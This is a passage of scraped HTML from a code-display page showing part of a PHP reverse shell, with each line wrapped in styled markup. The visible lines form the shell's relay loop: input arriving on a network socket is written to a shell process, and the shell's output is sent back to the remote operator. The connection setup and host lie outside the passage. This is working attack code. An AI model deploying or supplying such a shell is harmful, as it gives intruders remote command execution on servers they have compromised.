<DIV class="line number146 index145 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"while (1) {\n" \</DIV>

<DIV class="line number147 index146 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (feof($sock)) {\n" \</DIV>

<DIV class="line number148 index147 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printit(\"ERROR: Shell connection terminated\");\n" \</DIV>

<DIV class="line number149 index148 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;\n" \</DIV>

<DIV class="line number150 index149 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number151 index150 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (feof($pipes[1])) {\n" \</DIV>

<DIV class="line number152 index151 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printit(\"ERROR: Shell process terminated\");\n" \</DIV>

<DIV class="line number153 index152 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;\n" \</DIV>

<DIV class="line number154 index153 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number155 index154 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; $read_a = array($sock, $pipes[1], $pipes[2]);\n" \</DIV>

<DIV class="line number156 index155 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \</DIV>

<DIV class="line number157 index156 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (in_array($sock, $read_a)) {\n" \</DIV>

<DIV class="line number158 index157 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($debug) printit(\"SOCK READ\");\n" \</DIV>

<DIV class="line number159 index158 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $input = fread($sock, $chunk_size);\n" \</DIV>

<DIV class="line number160 index159 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($debug) printit(\"SOCK: $input\");\n" \</DIV>

<DIV class="line number161 index160 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite($pipes[0], $input);\n" \</DIV>

<DIV class="line number162 index161 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number163 index162 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (in_array($pipes[1], $read_a)) {\n" \</DIV>

<DIV class="line number164 index163 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($debug) printit(\"STDOUT READ\");\n" \</DIV>

<DIV class="line number165 index164 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $input = fread($pipes[1], $chunk_size);\n" \</DIV>

<DIV class="line number166 index165 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($debug) printit(\"STDOUT: $input\");\n" \</DIV>

<DIV class="line number167 index166 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite($sock, $input);\n" \</DIV>

<DIV class="line number168 index167 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number169 index168 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; 